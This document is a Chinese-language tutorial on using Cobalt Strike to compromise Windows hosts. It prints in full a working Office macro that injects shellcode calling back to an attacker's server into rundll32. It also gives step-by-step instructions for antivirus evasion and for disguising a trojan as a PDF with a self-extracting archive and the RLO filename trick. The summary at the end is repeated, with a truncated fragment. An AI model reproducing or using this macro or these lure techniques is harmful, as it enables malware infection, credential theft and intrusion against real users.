Cobalt Strike
Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
内网渗透中拿到一个点进行提权后进行哈希传递获得其他主机的权限,拿下域控,通过kerberos协议黄白票据获取服务,暴力破解密钥弱口令等以及扫描内网网段查看有哪些主机存活;如果该内网有好几层,那么就得做流量代理。内网中流量很敏感,防守方很容易就会发现内网IP攻击内网IP的流量,那么就要求我们短时间内渗透完成,并且真实渗透中对方环境不可控(有没有waf需要绕过,有没有杀软要关),Cobalt Strike工具因为是图形化界面更方便更简洁进行渗透操作,并且可以将攻击者控制权限注入到system权限的系统核心进程中。
MSF和Cobalt Strike的区别:
-
msf生成木马后,受害者运行木马找的是使用msf生成木马的主机。攻击者和失陷主机是实时通信的。
-
CS (Cobalt Strike)分为服务器(CS server)和客户端(CS client),开启CS server后会自动启动50050端口(CS官方默认打开,使用前尽量更改端口)开放端口后客户端(CS client)会连接50050端口。
- 受害者运行木马后连接的是服务端(CS server)而不是某个客户端(CS client),并且Cobalt Strike可以生成各种各样的木马(exe,命令字或生成源代码想在什么系统中运行就编译成什么格式)并且是图形化的不需要各种命令。
- 木马运行后找的不是某一个主机,找的是CS server这个服务器,这个服务器可以多个人同时登录,这就代表了所有连接了这个服务器的攻击者都可以对木马运行的shell进行操作即多人可同时操作失陷主机
- Cobalt Strike生成木马的和失陷主机并不是实时通信的,而是采用心跳(默认60秒),木马每个心跳去请求一次服务器,查看有无命令,就是从内网向外网发送请求从而可以绕过一些防火墙的限制
木马生成利用过程
服务端环境
将CobaltStrike4.8压缩包复制到linux中解压运行。
在kali中运行服务端
sh
unzip CobaltStrike4.8.zip
cd CobaltStrike4.8
cd Server
ll
chmod a+x *
ll
执行团队服务器teamserver
sh
./teamserver
cert证书:Cobalt Strike官方采用非对称的加密通信,生成一个证书,当运行Cobalt Strike服务的时候会生成一串哈希值,在连接服务器的时候一定会收到证书,然后进行对比证书与运行服务获得的哈希值,如果哈希值一样,则证明收到的证书合法
SHA256的哈希值,是SSL证书的哈希。开放本机的50050端口
客户端环境
将压缩包在windows桌面进行解压
进入客户端,双击cobaltstrike-client.cmd
配置好后点击connect,查看哈希是否一致,一致的话点击是
安装插件
点击load
点击reload
stager和stageress没有区别,都是windows木马,差别在询问服务器执行什么命令
点击Windows Stager Payload生成exe
点击小耳机(所有的监听),add->Name:test->Payload:Beacon HTTP->HTTP hosts点击加号自动添加服务端IP->HTTP hosts(Stager)执行的命令找谁要->HTTP Port(C2):和服务器通过那个端口进行通信
生成木马
运行木马
参数详情
Cobal Strike:
New Connection # 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图
VPN Interfaces #设置VPN接口
Listenrs # 创建监听器
Script Manager #脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
Close # 退出连接
view:
Applications # 显示受害主机的应用信息
Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads # 查看已下载文件
Event Log # 主机上线记录以及团队协作聊天记录
Keystrokes # 查看键盘记录结果
Proxy Pivots # 查看代理模块
Screenshots # 查看所有屏幕截图
Script Console # 加载第三方脚本以增强功能
Targets # 显示所有受害主机
Web Log # 所有Web服务的日志
payloads:
HTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各种语言版本的payload
USB/CD AutoPlay # 生成利用自动播放运行的木马文件
Windows Dropper # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
Windows Executable # 生成可执行exe木马
Windows Executable(Stageless) # 生成无状态的可执行exe木马
Attacks:
Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish # 鱼叉钓鱼邮件
Site Management:
Manage # 对开启的web服务进行管理
Clone Site # 克隆网站,可以记录受害者提交的数据
Host File # 提供文件下载,可以选择Mime类型
Reporting:
Activity Report # 活动报告
Hosts Report # 主机报告
Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report # 会话报告
Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录 Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data # 重置数据 Export Data # 导出数据,导出.tsv文件格式
help:
Homepage # 官方主页
Support # 技术支持
Arsenal # 开发者
System information # 版本信息
About # 关于
工具栏:
1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于
CS 鱼饵制作
打开CS服务端和客户端
上线方式
宏
- 新建word文件,点击视图->宏->命名->新建;
- 打开CS->payload->MS Office Macro,点击->选择执行后要连接谁,生成->复制
- 将复制的代码粘贴在word宏中
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If
Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
-43,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-124,0,0,0,91,49,-55,81,81,106,3,81,81,104,10,26,0,0,83,80,104,87,-119,-97, _
-58,-1,-43,-21,112,91,49,-46,82,104,0,2,64,-124,82,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61,80,49,-1,87,87,106,-1,83,86, _
104,45,6,24,123,-1,-43,-123,-64,15,-124,-61,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _
-43,49,-1,87,106,7,81,86,80,104,-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,116,-73,49,-1,-23,-111,1,0,0,-23,-55,1,0,0,-24,-117,-1, _
-1,-1,47,76,98,87,87,0,76,116,-25,116,94,-55,-6,87,-75,44,109,-18,14,7,79,7,56,-16,22,-42,-95,-63,-8,-53,-91,23,-63,-44,54,-67,-76,13, _
104,-25,-12,108,81,-21,125,36,-59,-103,-67,-84,-88,-88,98,-84,-89,2,-20,-87,-8,5,85,-75,-107,-109,-23,-56,71,58,112,-115,41,44,9,89,-113,31,17,86, _
99,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,53,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77, _
83,73,69,32,57,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,84,114,105,100,101,110,116,47,53,46,48,59,32,77,65, _
78,77,41,13,10,0,-2,66,18,-51,-70,-18,-31,66,-88,-124,100,80,63,-23,-67,104,114,95,12,-31,120,-113,16,-39,107,-74,-18,-36,82,118,113,57,-110,99, _
-83,-71,-8,121,39,-2,0,-121,-19,-92,48,59,-125,-17,26,44,-112,-81,-44,27,43,-123,-6,107,-64,-4,95,73,26,107,20,-100,110,38,40,62,124,-93,-95,56, _
-34,-6,-84,-79,92,119,28,29,85,73,17,-73,69,93,-41,34,-38,84,-105,97,37,-82,-108,45,22,99,91,-95,-103,86,98,62,38,-20,11,125,71,-36,82,-112, _
-127,80,2,-83,17,-86,-119,119,-86,79,-89,25,-80,-32,-16,106,-127,-101,27,49,58,-108,-24,-8,87,15,-74,42,120,-106,-118,17,88,-88,-96,-69,-6,-42,51,-44, _
-4,34,-50,112,-50,32,74,45,81,-80,97,14,-17,-23,-20,-99,-34,106,10,-21,34,68,87,-84,110,37,73,9,-106,30,-74,105,1,-73,3,69,-85,-124,-62,95, _
-86,17,-94,-82,43,122,81,88,104,62,74,-98,-5,-32,72,11,-119,-59,31,-124,59,64,-49,57,23,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0, _
104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43, _
-123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,49,48,46,57,46,55,53,46,51,51,0,58,-34,104,-79)
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If
res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
点击word运行
显示是利用的rundll32的进程。rundll是windows的核心进程,是为了加载系统需要的各种的dll,dll是动态连接库,C语言的,为了实现功能分离,单独列出一个dll使用时去加载即可。exe的内容和dll的格式内容一样。
Power shell
但是端口也得修改,否则使用被占用的端口会失败
win+r打开运行窗口,将生成命令打开powershell。
快捷方式
新建一个快捷方式
右击属性,将生成powershell的命令复制到目标中。
图标发生变化,右击快捷方式,点击属性,更改图标。系统图标路径
%SystemRoot%\System32\SHELL32.dll
双击快捷方式又成功上线一个
Stager和Stagerless
Stager和Stagerless区别是和服务器的通信上,Stager中恶意代码叫shellcode(会造成解释器丢失的代码):shell(命令解释器)code(代码)
说明:
- Stagerless里是完整的功能的木马(system(),cmd.exe),是将所有的恶意代码写入木马中。很容易被扫描查杀。
- Stager中没有恶意代码,只有Wget,curl(请求远程服务器的命令字)当Stager执行的时候会去找远程的恶意服务器,是由受害者主机主动去请求的。而不是将恶意代码上传到受害者主机上,下载完成后恶意代码通过请求返回。
shellcode只有在机器码中才有效
免杀
根据特征找到恶意代码,将特征改掉就绕过查杀了
免杀软件目录下cmd,将stager生成的shellcode放在免杀软件目录下
将生成免杀的shell.exe复制到主机进行运行,火绒没有检测到。
但是也有失效的时候,是因为在进行免杀加密的时候将原本的加载器中的机器码的内容改变了。
制作鱼饵
双击进行安装
将pdf文件和使用WindowsStager Payload生成的木马
文件添加到压缩文件
点击创建自压缩格式压缩文件
高级选项
常规中解压路径:c:\windows\temp,设置中添加解压路径
模式选择全部隐藏,更新选择解压并更新文件,覆盖所有文件
选择文本图标
生成新exe
重命名,在文件名后加空格,在空格后加fdp,在fdp前右键选择插入unicode控制字符RLO
双击pdf文件
但是有一个特征:exe
总结:
MSF和Cobalt Strike的区别:
-
msf生成木马后,受害者运行木马找的是使用msf生成木马的主机。攻击者和失陷主机是实时通信的。
-
CS (Cobalt Strike)分为服务器(CS server)和客户端(CS client),开启CS server后会自动启动50050端口(CS官方默认打开,使用前尽量更改端口)开放端口后客户端(CS client)会连接50050端口。
- 受害者运行木马后连接的是服务端(CS server)而不是某个客户端(CS client),并且Cobalt Strike可以生成各种各样的木马(exe,命令字或生成源代码想在什么系统中运行就编译成什么格式)并且是图形化的不需要各种命令。
- 木马运行后找的不是某一个主机,找的是CS server这个服务器,这个服务器可以多个人同时登录,这就代表了所有连接了这个服务器的攻击者都可以对木马运行的shell进行操作即多人可同时操作失陷主机
- Cobalt Strike生成木马的和失陷主机并不是实时通信的,而是采用心跳(默认60秒),木马每个心跳去请求一次服务器,查看有无命令,就是从内网向外网发送请求从而可以绕过一些防火墙的限制
f生成木马后,受害者运行木马找的是使用msf生成木马的主机。攻击者和失陷主机是实时通信的。
- CS (Cobalt Strike)分为服务器(CS server)和客户端(CS client),开启CS server后会自动启动50050端口(CS官方默认打开,使用前尽量更改端口)开放端口后客户端(CS client)会连接50050端口。
- 受害者运行木马后连接的是服务端(CS server)而不是某个客户端(CS client),并且Cobalt Strike可以生成各种各样的木马(exe,命令字或生成源代码想在什么系统中运行就编译成什么格式)并且是图形化的不需要各种命令。
- 木马运行后找的不是某一个主机,找的是CS server这个服务器,这个服务器可以多个人同时登录,这就代表了所有连接了这个服务器的攻击者都可以对木马运行的shell进行操作即多人可同时操作失陷主机
- Cobalt Strike生成木马的和失陷主机并不是实时通信的,而是采用心跳(默认60秒),木马每个心跳去请求一次服务器,查看有无命令,就是从内网向外网发送请求从而可以绕过一些防火墙的限制